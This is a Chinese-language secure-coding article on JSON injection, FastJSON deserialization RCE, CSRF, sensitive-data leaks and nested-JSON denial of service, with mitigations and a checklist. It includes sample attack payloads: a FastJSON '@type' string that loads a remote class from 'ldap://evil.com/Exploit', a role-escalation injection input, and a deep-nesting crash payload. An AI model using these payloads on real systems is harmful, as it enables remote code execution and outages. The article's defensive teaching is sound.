5月28日 00:30

如何防止 JSON 注入攻击?有哪些常见的安全问题需要注意?

JSON 注入攻击的原理

JSON 注入攻击是指攻击者通过在输入数据中插入恶意 JSON 片段,篡改 JSON 结构或注入可执行代码,从而绕过验证、窃取数据或执行非授权操作。

常见的注入手法包括:

  • 键值篡改:在用户输入中插入额外的 JSON 键值对,改变解析结果。例如用户输入 "username","role":"admin" 拼接后变成 {"username":"input","role":"admin"}
  • 结构破坏:利用引号、花括号等特殊字符破坏原有 JSON 结构,导致解析异常或越权。
  • 类型混淆:将字符串类型的值替换为对象或数组,绕过基于类型的校验逻辑。

五种常见的 JSON 安全问题

1. JSON 注入

攻击者构造特殊的 JSON 字符串,破坏 JSON 结构或执行恶意代码。最典型的场景是服务端拼接 JSON 字符串时未对用户输入做转义:

javascript
// 危险写法:直接拼接 const json = '{"name":"' + userInput + '"}'; // 输入 a","role":"admin -> {"name":"a","role":"admin"} // 安全写法:使用序列化方法 const json = JSON.stringify({ name: userInput });

2. 反序列化漏洞

不安全的 JSON 反序列化可导致远程代码执行(RCE)。以 Java 生态的 FastJSON 为例,攻击者在 JSON 中注入 "@type":"com.sun.rowset.JdbcRowSetImpl" 指定恶意类,触发 JNDI 注入进而执行任意命令。

java
// FastJSON 危险配置 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 攻击载荷 String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}"; JSON.parse(payload); // 触发远程类加载

防护要点:升级到 FastJSON 1.2.83+,关闭 AutoType,使用白名单机制限制可反序列化的类。

3. 跨站请求伪造(CSRF)

JSON 格式的 API 同样面临 CSRF 风险。虽然浏览器对 Content-Type: application/json 的跨域请求会触发预检,但如果服务端仅依赖 Cookie 鉴权且未校验 Origin 头,攻击者仍可构造表单提交发起攻击。

防护方式:校验 OriginReferer 头,使用 CSRF Token,或改用 Authorization 头携带 Token。

4. 敏感信息泄露

JSON 响应中直接返回密码哈希、内部 ID、数据库字段名等敏感数据是常见问题。攻击者通过正常接口即可获取这些信息,无需任何注入手段。

json
// 危险响应 {"id":1,"username":"admin","password_hash":"$2b$10$xxx...","email":"admin@example.com"} // 安全响应:仅返回必要字段 {"id":1,"username":"admin"}

应对措施:使用 DTO 对象过滤输出字段,全局配置 JSON 序列化忽略敏感属性,定期审计 API 响应内容。

5. 拒绝服务攻击

构造超大或嵌套极深的 JSON 数据可耗尽服务器内存。例如一个嵌套 10000 层的对象,解析时占用大量栈空间导致 OOM。Python 的 json.loads() 默认无嵌套深度限制,而 json5bson 等第三方库更易受此影响。

python
# 深度嵌套攻击载荷 payload = '{"a":' * 10000 + '1' + '}' * 10000 json.loads(payload) # 可能导致栈溢出

防护手段:限制请求体大小(如 Nginx client_max_body_size),设置 JSON 解析的最大嵌套深度,实现请求频率限制。

防护措施详解

输入验证与净化

  • 使用 JSON Schema 或类型校验库(如 Ajv、Pydantic)对输入做结构验证
  • 对用户输入中的双引号、反斜杠等特殊字符进行转义
  • 使用 JSON.stringify() / json.dumps() 等标准方法序列化,禁止手动拼接 JSON 字符串
  • 对数值型字段做范围检查,对枚举型字段做白名单校验

安全的反序列化策略

  • 禁用 AutoType / 类型自动识别功能
  • 使用白名单限制可反序列化的类,而非依赖黑名单
  • 对反序列化操作做权限隔离,运行在沙箱或低权限进程中
  • 升级依赖库到最新安全版本,关注 CVE 公告

传输与响应安全

  • 全站启用 HTTPS(TLS 1.3),防止中间人篡改 JSON 数据
  • 设置 Content-Type: application/json; charset=utf-8,防止编码攻击
  • 配置严格的 CORS 策略,限制允许的来源域名
  • 响应中设置 X-Content-Type-Options: nosniff,防止 MIME 嗅探

运行时防护

  • 限制 JSON 请求体大小(建议 1MB 以内,按业务调整)
  • 设置解析最大嵌套深度(建议不超过 20 层)
  • 实现接口级别的请求频率限制
  • 部署 WAF 检测异常 JSON 载荷

核心检查清单

检查项要求
JSON 拼接禁止手动拼接,使用标准序列化方法
反序列化关闭 AutoType,使用白名单
输入校验JSON Schema 验证 + 类型/范围检查
敏感字段DTO 过滤,不在响应中返回
嵌套深度解析器限制最大深度 ≤ 20
请求大小限制请求体上限
传输加密全站 HTTPS + 严格 CORS
依赖版本定期更新,关注 CVE 公告

以上措施覆盖了 JSON 处理中从输入、解析、传输到响应的完整链路,按照清单逐项排查可有效降低 JSON 相关安全风险。

标签:JSON